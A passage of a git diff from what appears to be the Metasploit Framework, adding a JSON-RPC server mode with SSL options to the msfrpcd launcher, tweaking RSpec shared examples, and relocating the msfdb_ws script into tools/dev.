#{ws_ssl_cert_default})" ], + "-v" => [ false, "(JSON-RPC) SSL enable verify (optional) client cert requests" ], + "-h" => [ false, "Help banner" ]) + + # Parse command line arguments. + arguments.parse(ARGV) { |opt, idx, val| + case opt when "-a" opts['ServerHost'] = val when "-S" @@ -68,47 +184,68 @@ arguments.parse(ARGV) { |opt, idx, val| opts['URI'] = val when "-n" frameworkOpts['DisableDatabase'] = true + when "-j" + json_rpc = true + when "-k" + ws_ssl_key = val + when "-c" + ws_ssl_cert = val + when "-v" + ssl_enable_verify = true when "-h" print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) exit + end + } + + $0 = "msfrpcd" + + begin + if json_rpc + + if !File.file?(ws_ssl_key_default) || !File.file?(ws_ssl_cert_default) + $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first." + abort + end + + $stderr.puts "[*] JSON-RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"})..." + $stderr.puts "[*] URI: /api/v1/json-rpc" + $stderr.puts "[*] JSON-RPC server log: #{ws_log}" unless foreground + $stderr.puts "[*] JSON-RPC server PID file: #{ws_rpc_pid}" unless foreground + + ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), WS_CONF)) + + start_json_rpc_service(conf: ws_conf_full_path, + address: opts['ServerHost'], + port: opts['ServerPort'], + ssl: opts['SSL'], + ssl_key: ws_ssl_key, + ssl_cert: ws_ssl_cert, + ssl_disable_verify: !ssl_enable_verify, + daemonize: !foreground, + log: ws_log, + pid: ws_rpc_pid) + else + unless opts['Pass'] + $stderr.puts "[-] Error: a password must be specified (-P)" + exit(0) + end + + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"}):#{opts['ServerType']}..." + $stderr.puts "[*] URI: #{opts['URI']}" if opts['URI'] + + start_rpc_service(opts, frameworkOpts, foreground) + end + rescue ::Interrupt + stop_json_rpc_service(conf: ws_conf_full_path, + address: opts['ServerHost'], + port: opts['ServerPort'], + ssl: opts['SSL'], + ssl_key: ws_ssl_key, + ssl_cert: ws_ssl_cert, + ssl_disable_verify: !ssl_enable_verify, + daemonize: !foreground, + log: ws_log, + pid: ws_rpc_pid) if json_rpc end -} - -unless opts['Pass'] - $stderr.puts "[-] Error: a password must be specified (-P)" - exit(0) -end - -$0 = "msfrpcd" - -rpctype = 'MSG' - -$stderr.puts "[*] #{rpctype}RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"}):#{opts['ServerType']}..." - -$stderr.puts "[*] URI: #{opts['URI']}" if opts['URI'] - -require 'msf/base' -require 'msf/ui' - - -# Fork into the background if requested -begin - if foreground - $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." - else - $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() - end -rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" -end - -# Create an instance of the framework -$framework = Msf::Simple::Framework.create(frameworkOpts) - -# Run the plugin instance in the foreground. -begin - $framework.plugins.load("#{rpctype.downcase}rpc", opts).run -rescue ::Interrupt - $stderr.puts "[*] Shutting down" -end +end \ No newline at end of file diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 302d287c17fa..642d5f7dc5c4 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -112,7 +112,7 @@ if ENV['REMOTE_DB'] require 'metasploit/framework/data_service/remote/managed_remote_data_service' opts = {} - opts[:process_name] = 'msfdb_ws' + opts[:process_name] = File.join('tools', 'dev', 'msfdb_ws') opts[:host] = 'localhost' opts[:port] = '8080' diff --git a/spec/support/shared/examples/msf/db_manager/event.rb b/spec/support/shared/examples/msf/db_manager/event.rb index 4a99319520e1..f775a1862cd8 100644 --- a/spec/support/shared/examples/msf/db_manager/event.rb +++ b/spec/support/shared/examples/msf/db_manager/event.rb @@ -1,8 +1,4 @@ RSpec.shared_examples_for 'Msf::DBManager::Event' do - - unless ENV['REMOTE_DB'] - it { is_expected.to respond_to :events } - end - + it { is_expected.to respond_to :events } it { is_expected.to respond_to :report_event } end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/session_event.rb b/spec/support/shared/examples/msf/db_manager/session_event.rb index bac4d0c92b64..4d848222b4b5 100644 --- a/spec/support/shared/examples/msf/db_manager/session_event.rb +++ b/spec/support/shared/examples/msf/db_manager/session_event.rb @@ -1,3 +1,4 @@ RSpec.shared_examples_for 'Msf::DBManager::SessionEvent' do + it { is_expected.to respond_to :session_events } it { is_expected.to respond_to :report_session_event } end \ No newline at end of file diff --git a/msfdb_ws b/tools/dev/msfdb_ws similarity index 95% rename from msfdb_ws rename to tools/dev/msfdb_ws index 7ac81c5a39e1..67db1e52720e 100755 --- a/msfdb_ws +++ b/tools/dev/msfdb_ws @@ -15,7 +15,7 @@ end def require_deps require 'pathname' - require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') + require Pathname.new(__FILE__).realpath.expand_path.parent.parent.parent.join('config', 'boot') require 'msf/core/web_services/http_db_manager_service' end